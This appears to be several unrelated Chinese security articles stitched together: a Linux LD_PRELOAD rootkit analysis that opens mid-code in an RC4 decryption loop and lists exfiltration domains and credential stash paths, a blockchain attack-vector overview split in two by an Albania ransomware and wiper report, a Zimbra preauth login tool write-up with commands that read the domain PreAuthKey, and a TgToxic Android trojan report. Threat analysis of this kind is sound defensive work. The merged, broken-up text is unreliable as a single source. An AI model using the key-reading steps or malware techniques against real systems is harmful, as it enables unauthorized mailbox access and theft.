index=0j=0forOdrTextinrange(textlen):j=(j+1)%256index=(index+S[j])%256S[j],S[index]=S[index],S[j]hexList[OdrText]^=S[(S[j]+S[index])%256]三、檢測思路底層函數繞過:該樣本是通過掛鉤用戶層的一些關鍵函數進行隱藏,可以通過更底層的文件操作函數進行檢測。

特殊工具:還可以使用完全靜態編譯的工具,如busybox,該工具靜態編譯Linux常用命令,不依賴共享庫,此方式可以破解該樣本的隱藏手段。

行為特徵檢測:該樣本目前還未隱藏export與環境變量顯示相關的命令結果,所以還可以檢測環境變量LD_PRELOAD,進而發現問題。

流量特徵檢測:既然在終端上不好檢測流量,那就在在網絡出口處進行流量檢測。

欺騙檢測:針對蒐集到的隱藏文件信息,創建同名文件判斷是否被隱藏,也可以檢測。

內存特徵匹配:經過測試,可以使用yara規則掃描進程內存檢測╭( `∀′ )╯。

四、IOC用於接收憑證記錄數據

x3206.caixa.cx

dev42.bancodobrasil.dev

用於下發命令執行數據

x4206.caixa.cx

dev21.bancodobrasil.dev

憑證存儲路徑

/usr/include/cerbot.h

/usr/include/java.h

/etc/mpt64.h

區塊鏈並不像我們想像的那麼安全。儘管安全性貫穿於所有區塊鏈技術,但即使是最強大的區塊鏈也會受到現代網絡犯罪分子的攻擊。 Apriorit 專家已經分析了針對Coincheck、Verge和Bancor交易所的攻擊,這些攻擊極大地損害了區塊鏈本身的聲譽。

區塊鏈可以很好地抵抗傳統的網絡攻擊,但網絡犯罪分子正在想出專門針對區塊鏈技術的新方法。在本文中,我們描述了針對區塊鏈技術的主要攻擊媒介,並了解了迄今為止最重大的區塊鏈攻擊。

網絡犯罪分子已經設法濫用區塊鏈來執行惡意操作。如果攻擊者沒有收到加密貨幣獎勵,像WannaCry和Petya這樣的勒索軟件攻擊就不會如此大規模。現在,看起來黑客正在考慮利用區塊鏈安全漏洞作為他們的主要收入來源。

2019 年3 月,白帽黑客在短短30 天內在各種區塊鍊和加密貨幣平台中發現了43 個漏洞。他們甚至在Coinbase、EOS和Tezos等著名平台中發現了漏洞。

然而,弱點通常很難檢測到,因為它們可能隱藏在不顯眼的地方。例如,Parity 多重簽名錢包是通過破壞其中具有提取功能的庫而被黑客入侵的。攻擊者設法將庫本身初始化為錢包,並聲稱擁有它的所有者權利。結果,573 個錢包受到影響,價值3000 萬美元的加密貨幣被盜,另外被白帽黑客組織救出的1.8 億美元後來歸還給了合法所有者。

通過攻擊比特幣和以太坊等龐大的網絡,網絡犯罪分子表明他們足夠聰明,可以反駁區塊鏈安全的神話。讓我們考慮五個最常見的區塊鏈攻擊向量:

image.png

五個區塊鏈攻擊向量

1.區塊鍊網絡攻擊區塊鍊網絡包括創建和運行交易並提供其他服務的節點。例如,比特幣網絡由發送和接收交易的節點以及將批准的交易添加到區塊的礦工組成。網絡罪犯尋找網絡漏洞並通過以下類型的攻擊利用它們。

分佈式拒絕服務分佈式拒絕服務(DDoS) 攻擊很難在區塊鍊網絡上執行,但它們是可能的。

當使用DDoS 攻擊區塊鍊網絡時,黑客打算通過大量請求消耗其所有處理資源來關閉服務器。 DDoS 攻擊者旨在斷開網絡的礦池、電子錢包、加密貨幣交易所和其他金融服務。區塊鏈也可以使用DDoS 殭屍網絡在其應用程序層受到DDoS 攻擊。

2017 年,Bitfinex 遭受了大規模的DDoS 攻擊。這對IOTA 基金會來說尤其不方便,IOTA 基金會在Bitfinex 通知用戶此次攻擊的前一天就在平台上發布了他們的IOTA 代幣。三年後,即2020 年2 月,在OKEx 加密貨幣交易所注意到類似攻擊的一天后, Bitfinex又經歷了一次DDoS 攻擊。

交易延展性攻擊交易延展性攻擊旨在誘使受害者支付兩次。在比特幣網絡中,每筆交易都有一個散列,即交易ID。如果攻擊者設法更改交易的ID,他們可以嘗試將更改後的哈希值的交易廣播到網絡,並在原始交易之前確認它。如果成功,發送方將認為初始交易失敗,而資金仍將從發送方的賬戶中提取。如果發件人重複交易,相同的金額將被扣除兩次。一旦這兩筆交易被礦工確認,這次黑客攻擊就成功了。

比特幣交易所Mt. Gox在2014 年因延展性攻擊而破產。然而,比特幣似乎通過引入隔離見證(SegWit) 流程解決了這個問題,該流程將簽名數據與比特幣交易分開,並用對每個簽名的不可延展的哈希承諾。

時間劫持時間劫持利用了比特幣時間戳處理中的一個理論漏洞。在時間劫持攻擊期間,黑客更改節點的網絡時間計數器並強制節點接受替代區塊鏈。當惡意用戶使用不准確的時間戳將多個虛假對等點添加到網絡時,就可以實現這一點。但是,可以通過限制接受時間範圍或使用節點的系統時間來防止時間劫持攻擊。

路由攻擊

路由攻擊可以影響單個節點和整個網絡。這種黑客攻擊的想法是在將交易推送給同行之前篡改交易。其他節點幾乎不可能檢測到這種篡改,因為黑客將網絡劃分為無法相互通信的分區。路由攻擊實際上包括兩個獨立的攻擊:

分區攻擊,將網絡節點分成不同的組

延遲攻擊,篡改傳播消息並將它們發送到網絡

女巫攻擊通過將多個標識符分配給同一節點來安排女巫攻擊。區塊鍊網絡沒有可信節點,每個請求都會發送到多個節點。

image.png

圖1. 女巫攻擊

在Sybil 攻擊期間,黑客控制了網絡中的多個節點。然後受害者被關閉所有交易的假節點包圍。最後,受害者對雙花攻擊持開放態度。 Sybil 攻擊很難檢測和預防,但以下措施可能有效:增加創建新身份的成本,需要某種類型的信任才能加入網絡,或根據聲譽確定用戶權力。

蝕攻擊eclipse 攻擊需要黑客控制大量IP 地址或擁有分佈式殭屍網絡。然後攻擊者覆蓋受害者節點“已嘗試”表中的地址並等待受害者節點重新啟動。重啟後,受害者節點的所有出站連接都將被重定向到攻擊者控制的IP地址。這使得受害者無法獲得他們感興趣的交易。波士頓大學的研究人員對以太坊網絡發起了一次日食攻擊,並設法僅使用一兩台機器就完成了攻擊。

對權益證明網絡的遠程攻擊遠程攻擊針對使用股權證明(PoS) 共識算法的網絡,在該算法中,用戶可以根據持有的硬幣數量來挖掘或驗證區塊交易。

這些攻擊可以分為三類:

簡單- 當節點不檢查塊時間戳時,權益證明協議的簡單實現

事後腐敗——試圖在給定時間範圍內鑄造比主鏈更多的區塊

Stake bleeding——將交易從誠實維護的區塊鏈複製到攻擊者維護的私有區塊鏈

在進行遠程攻擊時,黑客使用購買或竊取的私鑰,該私鑰具有相當大的代幣餘額,該私鑰過去已經用於驗證。然後,黑客可以生成區塊鏈的替代歷史並根據PoS 驗證增加獎勵。

2. 用戶錢包攻擊實際上,在人們與它們互動之前,區塊鍊和網絡安全就像鹽和胡椒一樣在一起。這聽起來可能令人驚訝,但區塊鏈用戶構成了最大的安全威脅。人們了解區塊鏈在網絡安全中的用途,往往會高估區塊鏈的安全性而忽視其弱點。用戶錢包憑證是網絡犯罪分子的主要目標。

為了獲取錢包憑證,黑客嘗試使用網絡釣魚和字典攻擊等傳統方法以及尋找加密算法弱點等新的複雜方法。以下是攻擊用戶錢包的最常見方法的概述。

網絡釣魚2018 年,IOTA 錢包發起了一次攻擊,發起人是iotaseed.io(現已下線),這是一個虛假的在線種子生成器。黑客利用這項服務進行了網絡釣魚活動,並收集了帶有秘密種子的日誌。結果,2018 年1 月,黑客成功從受害者的錢包中竊取了價值超過400 萬美元的IOTA。

字典攻擊在這些攻擊中,黑客試圖通過嘗試普通密碼(如password1)的哈希值來破解受害者的加密哈希和鹽。通過將明文密碼轉換為加密哈希,攻擊者可以找到錢包憑證。

易受攻擊的簽名區塊鍊網絡使用各種加密算法來創建用戶簽名,但它們也可能存在漏洞。例如,比特幣使用ECDSA 密碼算法自動生成唯一的私鑰。然而,看起來ECDSA 的熵不足,這可能導致多個簽名中出現相同的隨機值。 IOTA 還面臨著其舊的Curl 哈希函數的密碼學問題。

有缺陷的密鑰生成利用密鑰生成中的漏洞,被稱為Johoe 的黑客在2014 年12 月獲得了Blockchain.info 提供的私鑰。這次攻擊的發生是由於代碼更新期間出現的錯誤導致生成公共輸入的隨機性差用戶密鑰。儘管此漏洞很快得到緩解,但ECDSA 算法仍然可能存在該漏洞。

對冷錢包的攻擊硬件錢包或冷錢包也可能被黑客入侵。例如,研究人員利用Nano S Ledger 錢包中的漏洞發起了Evil Maid 攻擊。由於這次黑客攻擊,研究人員獲得了私鑰以及受害者的PIN、恢復種子和密碼。

最近的一次冷錢包攻擊發生在2019 年,當時UPbit加密貨幣交易所正在將資金轉移到冷錢包。當您預計會受到網絡攻擊時,這是凍結加密貨幣的常用方法。黑客設法竊取了342,000 ETH,顯然是因為他們知道交易的時間。

對熱錢包的攻擊熱錢包是用於存儲私人加密密鑰的聯網應用程序。儘管加密貨幣交易所的所有者聲稱他們將錢包中的用戶數據與網絡斷開連接,但2018 年針對Coincheck 的5 億美元攻擊證明這並非總是如此。

2019 年6 月,對GateHub 的攻擊導致數十個原生XRP錢包的未經授權訪問和加密資產被盜。由於系統漏洞,新加坡加密貨幣交易所Bitrue也幾乎同時遭遇了熱錢包攻擊。結果,黑客設法竊取了價值超過450 萬美元的XRP 和237,500 美元的ADA 資金。

abstract-binary-code-ok-signed-sl-1200.jpg

2022年7月17日,阿爾巴尼亞新聞媒體報導了一次大規模網絡攻擊,該攻擊影響了阿爾巴尼亞政府的電子政務系統。後來經過調查,這些網絡攻擊是一個威脅活動的一部分,其目的可能是癱瘓該國的計算機系統。 2022年9月10日,阿爾巴尼亞當地新聞報導了針對阿爾巴尼亞TIMS、ADAM和MEMEX系統的第二波網絡攻擊。

大約在同一時間,我們發現了勒索程序和擦除程序樣本與第一波中使用的類似,儘管有一些有趣的修改,可能允許規避安全控制和提高攻擊速度。在這些變化中,最主要的是嵌入一個原始磁盤驅動程序,在惡意程序內部提供了直接的硬盤訪問,修改了元數據,並使用Nvidia洩露的代碼簽名證書對惡意程序進行簽名。

在這篇文章中,我們介紹了:

1.用於針對阿爾巴尼亞個機構的第一波和第二波勒索程序和擦除式惡意程序,並詳細說明了與之前已知的ROADSWEEP勒索程序和ZEROCLEARE變體的聯繫。

2.攻擊者使用英偉達(Nvidia)和科威特電信公司(Kuwait Telecommunications Company)的證書來簽署他們的惡意程序,前者已經洩露,但我們不確定他們是如何得到後者的。

3.我們發現了使用不同語言的不同攻擊組織之間的潛在合作關係,以及可能使用AnyDesk作為啟動勒索程序/擦除攻擊感染的初始入口點。

4.在第二波攻擊中實現自動化和加速擦拭的變化讓人想起中東臭名昭著的Shamoon擦除攻擊攻擊。

下面,我們將比較和討論第一波和第二波勒索程序和擦除式惡意程序之間的區別。

初始感染——不同攻擊組織之間合作關係和使用AnyDesk實用程序的證據雖然我們無法在分析的攻擊中確定攻擊者的初始入口點,但在第二波攻擊後的幾天,我們注意到有攻擊者可以訪問另一個非政府但重要的阿爾巴尼亞機構的AnyDesk帳戶,並建議說波斯語的黑客使用它來部署勒索程序或清除惡意程序。由此我們推測,第二波攻擊的初始入口點是通過合法的遠程訪問程序(如AnyDesk),特別是使用的擦除攻擊修改僅限在驅動程序安裝時自動執行,由於時間/訪問窗口有限,可能需要緊急執行。攻擊者和訪問提供者似乎屬於不同的攻擊組織,使用不同的語言。

使用科威特電信公司簽名證書的勒索程序如下所示:

1.png

第二波樣本與第一波樣本具有相同的簽名證書參數,該樣本與科威特電信公司有關。目前尚不清楚攻擊者如何能夠使用科威特電信公司的證書籤署其惡意程序,但我們懷疑它是被盜的。在本文發佈時,該證書已不再有效並已被撤銷。

2.png

在初始執行後,第二波勒攻擊中使用的索程序檢查攻擊者提供的任意六個或更多參數,而第一波樣本則檢查五個參數或更多,這是一個有助於防禦逃避檢測的小修改。然而,在一台受影響的計算機上進行的攻擊分析表明,在第二波攻擊中,攻擊者在提供類似於第一波攻擊的七位數時,沒有使用BAT文件調用勒索程序,而是使用六個零“000000”從命令行立即調用第二波攻擊中使用的勒索程序。如果由於沒有提供正確的參數而導致勒索程序執行失敗,則第二波攻擊示例將顯示與第一波攻擊不同的消息,第二波攻擊消息類似於由PDF到DOC轉換器顯示的錯誤消息。

3.png

第一波攻擊示例,執行失敗後的消息

4.png

第二波攻擊示例,執行失敗後的不同消息

第二波攻擊勒索程序樣本繼續執行並檢查互斥鎖Screenlimitsdevices#77!這個值與第一波攻擊樣本的互斥鎖不同:

abcdefghijklmnoklmnopqrstuvwxyz01234567890abcdefghijklmnopqrstuvwxyz01234567890

儘管我們根據其行為將這種惡意程序稱為勒索程序,但加密文件實際上是無法恢復的。當比較第二波勒索程序樣本和第一波勒索程序樣本時,我們注意到兩者都有相同的,並且都使用CreateFile和WriteFile api來覆蓋文件。在執行過程中,第二波攻擊勒索程序試圖解密並執行嵌入式腳本、惡意程序設置或API函數名。在第一波攻擊和第二波攻擊中使用的加密算法都是RC4。但是,在第二波中用於解密的RC4密鑰已被更改,這是另一種逃避檢測的嘗試。

第一波攻擊中的RC4密鑰:8C E4 B1 6B 22 B5 88 94 AA 86 C4 21 E8 75 9D F3

第二波攻擊中的RC4密鑰:F0 B4 ED D9 43 F5 C8 43 C9 D0 A2 4F 22 9B BC 3A

值得注意的是,在這兩波攻擊中,RC4解密方法都使用CryptoAPI (CryptDecrypt)而不是通常的S盒方法。在密碼學中,S盒(Substitution-box)是對稱密鑰算法執行置換計算的基本結構。 S盒用在分組密碼算法中,是唯一的非線性結構,其S盒的指標的好壞直接決定了密碼算法的好壞。對第二波分析表明,勒索程序可能是通過內部網絡部署的,可能來自另一台受感染的設備。在勒索程序執行之前,我們沒有看到任何其他東西被刪除或執行,並且勒索程序可執行文件名稱是隨機生成的,這可能是由攻擊者用來通過網絡部署它的工具(例如Mellona.exe)生成的。

儘管在第二波勒索程序與第一波攻擊中的完全不同,但勒索信的功能仍然保持了下來,包括反映阿爾巴尼亞和伊朗之間地緣政治緊張局勢的政治信息。

5.png

第一波和第二波勒索程序中的勒索信

使用Nvidia簽名證書的擦除攻擊6.png

與第二波攻擊勒索程序樣本類似,攻擊者對第二波攻擊擦除程序進行了幾次修改,可能是為了逃避檢測。變化主要有三個:

修改的惡意程序簽名;

在擦除程序中嵌入EldoS RawDisk驅動程序;

驅動安裝後自動擦除命令;

在2019年的ZEROCLEARE(ZeroCleare和惡意程序Shamoon同宗,都是出自伊朗資助的頂級黑客組織之手)和DUSTMAN(該程序以刪除設備的數據為目的,瞄準的是中東的能源和工業部門)事件中,擦除程序和原始磁盤驅動程序均沒有簽名,因此無法直接訪問原始磁盤進行快速數據擦除。因此,擦除攻擊器必須使用第三方加載器,如TDL(用於無簽名驅動程序的簽名加載器)來安裝無簽名原始磁盤驅動程序,允許擦除程序直接訪問原始磁盤,使用DeviceControl API方法擦除數據。然而,在針對阿爾巴尼亞的第一波攻擊中,攻擊者使用科威特電信公司的證書對第一波攻擊擦除攻擊進行了簽名,從而消除了對第三方加載器的需求。速度和自動化的改進讓我們想起了之前在中東的Shamoon攻擊。

由於第一波攻擊使用的擦除程序是在2022年7月被曝光的,而且可能會避免靜態檢測,攻擊者在2022年9月使用英偉達洩露的簽名證書對第二波攻擊使用的擦除程序進行了簽名,再次取消了對原始磁盤驅動程序的第三方加載器的需求。

7.png

在第一波攻擊中,擦除程序希望在執行目錄或系統目錄中找到原始磁盤驅動程序。但驅動程序並沒有被擦除,攻擊者可能用了其他方法。相反,在第二波攻擊中,攻擊者將簽名的原始磁盤驅動程序嵌入到擦除攻擊可執行文件中,先刪除它,然後安裝。此外,第二波中攻擊者使用的驅動程序似乎複製了微軟的diskdump.sys崩潰轉儲驅動程序(版本10.0.19041.682)中的元數據和一些函數,作為避免檢測的另一種方法。驅動程序安裝命令後擦除活動自動啟動,與第一波攻擊擦除攻擊不同,安裝是第一步,執行擦拭是第二步。

不過在大多數情況下,第一波攻擊和第二波攻擊的擦除程序是一樣的,包括依賴相同的身份驗證密鑰來訪問原始磁盤驅動程序,以及使用相同的DeviceControl API方法,但有一個例外,如下所示。值得注意的是,IOCTL_DISK_GET_LENGTH_INFO方法僅適用於講波斯語的APT攻擊。

8.png

我們懷疑攻擊第二波攻擊目標是阿爾巴尼亞的執法機構,因為它與2022年7月網絡攻擊浪潮中針對阿爾巴尼亞政府的網絡攻擊一致。

總結我們在本文討論了針對阿爾巴尼亞各機構的第二波勒索和擦除攻擊樣本的變化,其最終目的都是逃避檢測並造成最大損失。

除了在第二波中為逃避檢測所做的更改外,我們懷疑攻擊者需要一個自動和快速的擦除攻擊執行。在第二波攻擊中,原始磁盤驅動程序被嵌入到惡意程序中,並且在驅動程序安裝後立即啟動擦除程序,這與第一波攻擊的過程相反。

最後,對於防御者來說應從以下兩方面入手進行防禦:

監控遠程程序活動(如AnyDesk)情況,以防未經授權使用;

始終尋找和監控過期或洩露的簽名證書,因為攻擊者可以使用它們來加載和執行惡意程序。

區塊鏈攻擊向量:最安全技術的漏洞(上)

3. 智能合約攻擊Apriorit 擁有從事智能合約開發和區塊鏈測試的團隊。我們已經積累了豐富的基於以太坊、EOS、NEO平台的智能合約漏洞分析和規避經驗。與智能合約相關的主要區塊鏈安全問題涉及源代碼、網絡虛擬機、智能合約運行時環境以及區塊鏈本身中的錯誤。讓我們看看這些攻擊向量中的每一個。

合約源代碼漏洞如果智能合約的源代碼存在漏洞,就會對簽署合約的各方構成風險。例如,2016 年以太坊合約中發現的錯誤使其所有者損失了8000 萬美元。 Solidity 中的一個常見漏洞提供了一種可能性,可以將控制權委託給其他智能合約中不受信任的功能,稱為重入攻擊。在此攻擊期間,合約A 從合約B 調用具有未定義行為的函數。反過來,合約B 可以調用合約A 的函數並將其用於惡意目的。

虛擬機中的漏洞以太坊虛擬機(EVM) 是一種基於分佈式堆棧的計算機,其中執行基於以太坊的區塊鏈的所有智能合約。 EVM 最常見的漏洞如下:

不可變缺陷——區塊鏈塊本質上是不可變的,這意味著智能合約一旦創建,就無法更改。但是,如果智能合約在其代碼中包含任何錯誤,它們也無法修復。網絡犯罪分子有可能發現並利用代碼漏洞來竊取Ether 或創建新的分叉,就像DAO 攻擊一樣。

加密貨幣在轉移過程中丟失——如果以太幣被轉移到一個沒有任何所有者或合同的孤立地址,這是可能的。

訪問控制中的錯誤——以太坊智能合約中存在一個遺漏修改器錯誤,允許黑客訪問合約中的敏感功能。

短地址攻擊——這是可能的,因為EVM 可以接受錯誤填充的參數。黑客可以通過向潛在受害者發送特製地址來利用此漏洞。例如,在2017 年對Coindash ICO 的一次成功攻擊中,對Coindash 以太坊地址的修改使受害者將他們的以太幣發送到黑客的地址。

此外,黑客可以通過應用其他典型的破壞區塊鏈技術的方法來破壞智能合約,包括DDoS、eclipse 和各種低級別攻擊。

然而,Cardano 和Zilliqa 等較年輕的區塊鏈使用不同的虛擬機:IELE、KEVM 等。這些新的區塊鏈聲稱在其協議中保證智能合約的安全性。

4.交易驗證機制攻擊與金融機構不同,區塊鏈只有在網絡中的所有節點都達成一致後才能確認交易。在包含交易的區塊被驗證之前,該交易被歸類為未驗證。然而,驗證需要一定的時間,這為網絡攻擊創造了一個完美的載體。

雙花是一種利用交易驗證機制的常見區塊鏈攻擊。區塊鏈上的所有交易都需要用戶驗證才能被確認為有效,這需要時間。攻擊者可以利用這種延遲來獲得優勢,並誘使系統在多個交易中使用相同的硬幣或代幣。

image.png

圖2. 雙花攻擊

以下是基於利用交易發起和確認之間的中間時間的最常見攻擊類型。

芬尼襲擊當一筆交易被預挖到一個區塊中,並且在該預挖區塊被釋放到網絡之前創建了一個相同的交易,從而使第二個相同的交易無效時,Finney 攻擊是可能的。

種族攻擊當攻擊者創建兩個相互衝突的交易時,就會執行競態攻擊。第一筆交易被發送給受害者,受害者無需等待交易確認即可接受付款(例如發送產品)。同時,將向攻擊者返回相同數量的加密貨幣的衝突交易被廣播到網絡,最終使第一筆交易無效。

矢量76Vector76 是之前兩次攻擊的組合。在這種情況下,惡意礦工創建兩個節點,其中一個僅連接到交換節點,另一個連接到區塊鍊網絡中連接良好的對等點。之後,礦工創建兩筆交易,一筆高價值和一筆低價值。然後,攻擊者預挖並從交換服務中扣留一個包含高價值交易的區塊。在區塊公告之後,攻擊者迅速將預挖區塊直接發送到交易所服務。它與一些礦工一起將預挖區塊視為主鏈並確認此交易。因此,這種攻擊利用了這樣一個事實,即網絡的一部分看到攻擊者已包含在塊中的交易,而網絡的另一部分看不到該交易。

交易所服務確認大額交易後,攻擊者向主網發送小額交易,主網最終拒絕大額交易。結果,攻擊者的賬戶被記入了高價值交易的金額。儘管這種類型的攻擊成功的可能性很高,但它並不常見,因為它需要一個託管的電子錢包,該電子錢包在一次確認後接受付款,並需要一個節點來處理傳入的交易。

替代歷史攻擊另一種歷史攻擊——也稱為區塊鏈重組攻擊——即使在多次確認的情況下也可能發生,但需要黑客提供大量的計算能力。在這種情況下,惡意用戶向收件人發送交易,同時使用返回相同代幣的另一筆交易挖掘替代分叉。例如,即使接收方在n 次確認後認為交易有效並發送產品,如果攻擊者釋放更長的鏈並取回硬幣,接收方也可能會損失金錢。

最新的一次區塊鏈重組攻擊發生在2020 年8 月的Ethereum Classic上,當時一名礦工使用舊軟件並在挖礦時暫時無法訪問互聯網。當兩個版本的區塊鏈競爭網絡中節點的有效性並導致插入大約3000 個區塊時,重組就發生了。

51% 或多數攻擊當黑客控制了51% 的網絡哈希率並創建一個最終優先於現有分叉的替代分叉時,多數攻擊是可能的。這種攻擊最初是唯一已知的區塊鏈漏洞,在不久的過去似乎不切實際。然而,至少有五種加密貨幣——Verge 、 ZenCash、Monacoin、Bitcoin Gold 和Litecoin Cash——已經遭受了51% 的攻擊。在每一種情況下,網絡罪犯都收集了足夠的哈希算力來破壞網絡並賺取數百萬美元。

最近在2020 年8 月發生的對以太坊經典(ETC) 的51% 攻擊導致價值約560 萬美元的ETC 加密貨幣被雙花。顯然,黑客非常了解ETC 協議,並在四天內設法挖掘了4,280 個區塊,直到平台發現攻擊。事件發生僅五天后,ETC 就遭遇了第二次51% 攻擊,其中一名礦工進行了4000 個區塊的網絡重組。

image.png

圖3. 多數攻擊

不幸的是,所有小型加密貨幣仍面臨多數攻擊的風險。由於這些加密貨幣吸引的礦工較少,攻擊者只需租用計算能力即可獲得網絡的大部分份額。 Crypto51的開發人員試圖提醒人們注意破解較小加密貨幣的潛在風險。他們的網站顯示了對各種區塊鏈進行51% 攻擊的預期成本。

防止雙花攻擊的可能措施包括在監聽期間監控收到的交易、轉發雙花嘗試、插入其他節點以觀察交易以及拒絕直接傳入連接。

此外,還有一項稱為閃電網絡的創新技術,旨在解決交易驗證機制中的漏洞利用問題。該網絡允許用戶通過雙向支付渠道網絡即時驗證交易,而無需委託資金保管。但是,它仍然容易受到DDoS 攻擊,其中一次已經發生在2018 年3 月。

5、礦池攻擊對於像比特幣這樣的主要加密貨幣,個體礦工已經不可能賺取利潤,因此礦工通過創建礦池來統一他們的算力。這使他們能夠開採更多的區塊,並且每個人都能獲得一份獎勵。目前,最大的比特幣礦池是BTC.com、AntPool 和ViaBTC。根據Blockchain.com 的數據,它們加起來佔比特幣網絡總哈希率的52% 以上。

礦池是一個不錯的目標。惡意礦工試圖通過利用區塊鏈共識機制中常見的Web 應用程序漏洞來控制內部和外部的礦池。

以下是對礦池最常見的攻擊。

自私挖礦自私挖礦是指惡意礦工試圖通過在一段時間內不向網絡廣播挖出的區塊然後一次釋放幾個區塊,使其他礦工失去他們的區塊來增加他們的獎勵份額。防止此類攻擊的可能措施是將礦工隨機分配到礦池的各個分支,優先選擇時間戳較新的區塊,並在最大可接受時間內生成區塊。這種類型的攻擊也稱為塊扣留。

image.png

圖4. 自私挖礦攻擊

由於2014 年對Eligius礦池的自私挖礦攻擊,礦工損失了300 BTC。自私挖礦有很高的成功機會,並且可能發生在所有加密貨幣上。針對自私挖礦的可能預防措施包括只註冊受信任的礦工,並對現有的比特幣協議進行更改以隱藏部分工作量證明和完整工作量證明之間的差異。

預扣後分叉預扣後分叉(FAW) 是自私挖礦的一種變體,事實證明它對攻擊者更有利可圖。在FAW 攻擊期間,惡意礦工隱藏一個獲勝的區塊,然後丟棄它或稍後釋放它以創建一個分叉,具體取決於情況。由Ujin Kwon 領導的一組研究人員明確描述了這種攻擊的概念。

結論儘管區塊鏈的受歡迎程度仍在上升,但越來越多的針對區塊鏈的網絡攻擊可能對其聲譽產生負面影響。了解最常見的區塊鏈漏洞和攻擊類型對於關注區塊鏈安全並想知道首先要保護什麼的每個人來說都是必須的。

0x00 前言本文將要繼續擴充開源代碼Zimbra_SOAP_API_Manage的實用功能,添加預認證的登錄方式,分享開發細節。

0x01 簡介本文將要介紹以下內容:

預認證

計算preauth

SOAP實現

開源代碼

0x02 預認證參考資料:https://wiki.zimbra.com/wiki/Preauth

簡單理解:通過preAuthKey結合用戶名、時間戳和到期時間,計算得出的HMAC作為身份驗證的令牌,可用於用戶郵箱和SOAP登錄

默認配置下,Zimbra未啟用預認證的功能,需要手動開啟

(1)開啟預認證並生成PreAuthKey命令如下:

1.png其中,

2.png對應測試環境的命令為:/opt/zimbra/bin/zmprov generateDomainPreAuthKey mail.test.com

測試環境的輸出如下:

3.png(2)讀取已有的PreAuthKey命令如下:

4.png對應測試環境的命令為:/opt/zimbra/bin/zmprov gd mail.test.com zimbraPreAuthKey

測試環境的輸出如下:

5.png注:

如果Zimbra存在多個域名,那麼會有多個PreAuthKey

0x03 計算preauth參考資料中給出了多種計算preauth的示例,但是Python的實現代碼不完整,這裡補全Python3下的完整實現代碼,詳細代碼如下:

6.png代碼會自動生成可用的URL,瀏覽器訪問可以登錄指定郵箱

0x04 SOAP實現SOAP格式:

7.pngSOAP格式示例:

8.png需要timestamp和preauth作為參數,使用預認證登錄的詳細代碼如下:

9.png 10.png 11.png

以上代碼通過預認證登錄,返回可用的token,通過該token可以進行後續的SOAP操作,列出文件夾郵件數量的實現代碼:

12.png 13.png0x05 開源代碼新的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

添加了使用預認證登錄的功能

0x06 小結本文擴充了Zimbra SOAP API的調用方法,添加了使用預認證登錄的功能。

最近趨勢科技的研究人員發現了自2022年7月以來針對中國台灣、泰國和印度尼西亞的Android手機用戶的持續惡意軟件活動,並將其命名為TgToxic。該惡意軟件竊取用戶的憑證和資產,如數字錢包中的加密貨幣,以及銀行和金融應用程序中的資金。

通過分析惡意軟件的自動化功能,研究人員發現了攻擊者濫用了合法的測試框架Easyclick,為點擊和手勢等功能編寫了基於javascript的自動化腳本。研究人員發現攻擊者的目標是通過嵌入多個虛假應用程序的銀行木馬,趨勢科技根據其特殊的加密文件名將其檢測為AndroidOS_TgToxic,該木馬從金融和銀行應用程序(如加密貨幣錢包、手機上官方銀行應用程序的憑據和存款)中竊取受害者的資產。雖然之前針對的是中國台灣的用戶,但在撰寫本文時,研究人員已經觀察到針對泰國和印度尼西亞用戶的欺詐活動和網絡釣魚。建議用戶小心打開來自未知電子郵件和消息發送者的嵌入鏈接,並避免從第三方平台下載應用程序。

發現過程自2022年下半年以來,研究人員一直在監測這個活動,發現它的基礎設施和目標在不斷變化。以下是該活動時間表:

2022年7月:Facebook上出現了欺詐性帖子,通過社交工程在社交媒體平台上嵌入了針對中國台灣省用戶的釣魚鏈接;

2022年8月下旬至10月:色情欺詐還針對中國台灣和印度尼西亞用戶,誘使他們註冊,以便攻擊者竊取他們的證件;

2022年11月至2023年1月:短信釣魚(SMiShing)針對泰國用戶,在此期間使用的一些網絡釣魚網站還顯示,攻擊者通過加密貨幣騙局將其活動進一步擴展到印度尼西亞。

早期活動:通過Facebook進行欺詐2022年7月,研究人員發現兩個可能被黑客入侵的Facebook賬戶在一些台灣社區團體上發布了詐騙信息,聲稱用戶可以獲得颶風、洪水和新冠疫情的救助補貼。這些帖子告訴用戶可以在download.tw1988[.]link中註冊申請,而這實際上是一個釣魚網站。不知情的用戶可能會成為受害者,因為該鏈接偽裝成政府官方網站https://1988.taiwan.gov.tw/,該官方網站用於向困難人群提供補貼。

1.png

Facebook上發布的詐騙帖子示例,文字翻譯為“夏季將發放28000項福利,現在輸入https[:]//st7[.]fun/20就可以收到你的勞工補貼”。該應用程序還顯示了潛在受害者就業類別的選項:“農民和漁民的生活津貼”、“無固定雇主的自營職業工人和勞動生活津貼”,以及“旅遊巴士、出租車司機、導遊、領隊和其他補貼”。

色情詐騙和加密貨幣通過追踪TgToxic使用的網絡基礎設施,研究人員隨後發現了中國台灣和印度尼西亞色情和加密貨幣詐騙的幕後黑手。這些惡意應用程序也可以通過down[.]tw1988[.]link從同一網站下載,並偽裝成約會、消息、生活方式或加密貨幣相關應用程序,誘騙用戶安裝並啟用其權限。

2.png

虛假應用程序在下載後立即啟動註冊頁面以誘導用戶,惡意軟件TgToxic開始在後台運行

3.png

在印度尼西亞,虛假應用程序誘導潛在受害者進入色情勒索和加密貨幣詐騙釣魚網站

針對泰國的網絡釣魚活動當研究人員繼續監控TgToxic惡意軟件及其網絡基礎設施時,他們發現,在2022年底至2023年1月初的幾週內,該活動背後的攻擊者開始以泰國用戶為目標,並觀察到類似的色情和網絡釣魚誘餌針對中國台灣用戶,該組織開始添加惡意代碼,以竊取銀行應用程序中的憑據。研究人員還發現,這兩個攻擊已經引起了當地媒體的關注,並在Facebook上受到了大眾社區的報導。

4.png

泰國當地流行的社交媒體賬戶討論了使用流行聊天和約會應用程序的假冒版本的網絡釣魚計劃(左),以及與一名受害者的對話,該受害者也證實了惡意軟件是通過smishing發送的(右)

網絡釣魚、色情和加密貨幣騙局與TgToxic惡意軟件的最新部署樣本都有關係,因為它們都是從同一個網站下載的,下載鏈接為down[.]tw1988[.]link。通過觀察命令和控制(CC)服務器之間的通信,這些應用程序和惡意軟件的CC從api[.]tw1988[.]link更改為test[.]ja7[.]site,後來更改為us[.]ja7[.]site。

